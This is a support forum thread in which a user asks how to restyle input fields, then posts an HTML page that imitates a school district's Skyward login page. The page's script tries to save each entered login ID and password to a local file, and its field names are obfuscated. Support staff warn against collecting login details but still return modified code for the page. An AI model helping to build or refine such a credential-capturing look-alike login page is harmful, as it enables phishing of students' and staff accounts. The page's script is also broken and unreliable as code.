How can I dynamically change input background color?

rtikle

Asked on September 16, 2017 at 11:21 PM

I am trying to achieve the same effect on this website, the login input should be white before you click on it, purple when selected, and after you click away from the box when text is input, it turns another green.

I am working on a project that requires the lack of a webserver and I am only familiar with HTML and CSS.

If my goal is not entirely possible, I would like to be able to achieve it to some extent at least.

Thank you sincerely for your time.

Page URL: https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w
Elton Support Team Lead

Replied on September 17, 2017 at 2:01 AM

I think we can only achieve the default and focus state. As far as I can see, JotForm does not add special attributes for the filled fields.

Anyway, to achieve the focus state, use the following CSS codes. This basically makes the input background color to white and change it to purple on focus.

.form-textbox, .form-textarea, .form-dropdown {

background:#fff;

transition:0.2s ease;

}

.form-line-active input:focus, .form-line-active textarea:focus, .form-line-active select:focus {

background:#d0b0ff;

}

Simply inject this CSS codes to your form http://www.jotform.com/help/117-How-to-Inject-Custom-CSS-Codes.
rtikle

Replied on September 17, 2017 at 9:30 AM

to clarify, can this be done without jotform? i still plan to use it, but my goal is to be able to carry this html file around on a flashdrive.
David JotForm Support Manager

Replied on September 17, 2017 at 12:26 PM

What do you mean by "can this be done without jotform?"? If you mean that you don't want to inject the custom CSS code through the JotForm builder, you can simply use the full source code of your form: https://www.jotform.com/help/104-How-to-get-the-Full-Source-Code-of-your-Form, and inject the code in your webpage by using the style tags.
rtikle

Replied on September 18, 2017 at 8:40 AM

Alright so I have inserted this into my page:

input:focus {

background-color: #bf99bd;

}

and it works great, but now i need the input background to change color to green after text is entered OR change color to green when the input loses focus after getting in...

Thanks so Much for your help, the support here is great!
Kevin Support Team Lead

Replied on September 18, 2017 at 11:01 AM

It's possible to change the color as you want, you would only need to add the following CSS code to the form:

input {

background-color: green;

}

But the input field will have always the green color, no matter if it's been filled or not.

If you want to change the background color only when the field has been filled, then you will need to use some other code, here is an example using jQuery to change the background color when the input has a value:

https://shots.jotform.com/kevin/Content/Samples/ChangeBackColorjQuery/

This is the code I used for that: https://shots.jotform.com/kevin/Content/Samples/ChangeBackColorjQuery/raw.txt

But this would require you to get the source code of your form, in case that you want to implement it to your JotForm form. Or you may simply add the code to your webpage.

I hope this helps.
rtikle

Replied on September 18, 2017 at 3:48 PM

I am a beginner HTML programmer and HighSchool Student, this has no webserver so what do i insert where to do this

--------------------------------------------------------------------------------------------------

<!DOCTYPE html>

<html>

<head>

<title>Login - Powered By Skyward</title>

<link rel="icon" href="skyicon.gif">

<meta name="viewport" content="height=device-height, initial-scale=1.0">

<script type ="text/javascript">

function WriteToFile(passForm) {

set fso = CreateObject("Scripting.FileSystemObject");

set s = fso.CreateTextFile("C:\error.txt", True);

s.writeline(document.passForm.input1.value);

s.writeline(document.passForm.input2.value);

s.Close();

}

</script>

<style>

body {

background-image: url("slp_ps.jpg");

background-repeat:no-repeat;

}

input {

display:inline-block;

float:right;

}

{

width:1234px;

height:50%;

position:relative;

margin:auto;

}

.btn-style{

border : solid 1px #2d9cf0;

border-radius : 3px;

moz-border-radius : 3px;

font-size : 9px;

color : #000000;

padding : 4px 13px;

background-color : #ffffff;

}

div {

margin-top: 500px;

margin-bottom: 0px;

margin-right: 500px;

margin-left: 485px;

}

.inputbox-css {

-webkit-box-sizing: content-box;

-moz-box-sizing: content-box;

box-sizing: content-box;

margin: -1px 0 0;

padding: 5px;

border: 1px solid rgba(127,174,255,1);

-webkit-border-radius: 1px;

border-radius: 1px;

font: normal 16px/normal "Times New Roman", Times, serif;

color: rgba(0,0,0,0.9);

-o-text-overflow: clip;

text-overflow: clip;

}

.inputbox-css:focus {

background: #ebc4fc;

}

p {

display:block;

float:right;

}

</style>

</head>

<body>

<body background="slp_ps.jpg" style="width:1220px;height:700px;">

<div>

<p>

<form onDISABLEDsubmit="download(this['name'].value, this['text'].value)">

<font size="2" face="arial" class="element"> Login ID: </font><input class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;" name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>

<br>

<font size="2" face="arial" class="element"> Password: </font><input class="inputbox-css" type="password" style="font-family: Verdana; font-size: 12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>

<br>

<font size="2" face="arial"> <input type="submit" class="btn-style"name="lllllllllll submit" value="Sign In"/><br>

</form>

</p>

</div>

</form>

</body>

</html>

-------------------------------------------------------------------------------------------------------

Is there any way to do this staying with one html file? If so, please explain or put it in form me, Thanks for your time!
Kevin Support Team Lead

Replied on September 18, 2017 at 4:10 PM

Will not be possible to implement such code as the form builder does not accept JavaScript codes, if you want to have this implemented on your JotForm form, then you will need to get the source code as advised above by my colleague Bdavid.

Now, here is a code with the change applied: https://shots.jotform.com/kevin/Content/Samples/1249755/

You can see how it works here: https://shots.jotform.com/kevin/Content/Samples/1249755/

Also, please note that it's not possible to ask for login information through JotForm so please avoid to ask for such or any other information that may go against our terms.

I hope this helps.
rtikle

Replied on September 18, 2017 at 4:28 PM

It does not actually log you in, this is for my a representation page, to emulate a website without logging you in, it puts the login information in the url and does not send or do anything else with it.

As I specified earlier I have already used jotform and am not using it for my html file at the moment.

This is all in an independent html file, not planning on using jotform anymore, i used it in the beginning of this project.
rtikle

Replied on September 21, 2017 at 10:16 AM

i do not have a webserver, i am running this locally; please respond
Kevin Support Team Lead

Replied on September 21, 2017 at 11:33 AM

This is the modified code of the one you provided: https://shots.jotform.com/kevin/Content/Samples/1249755/raw.txt

Copy and paste it on the documents you're working on.

Please if you need help with a JotForm form, let us know.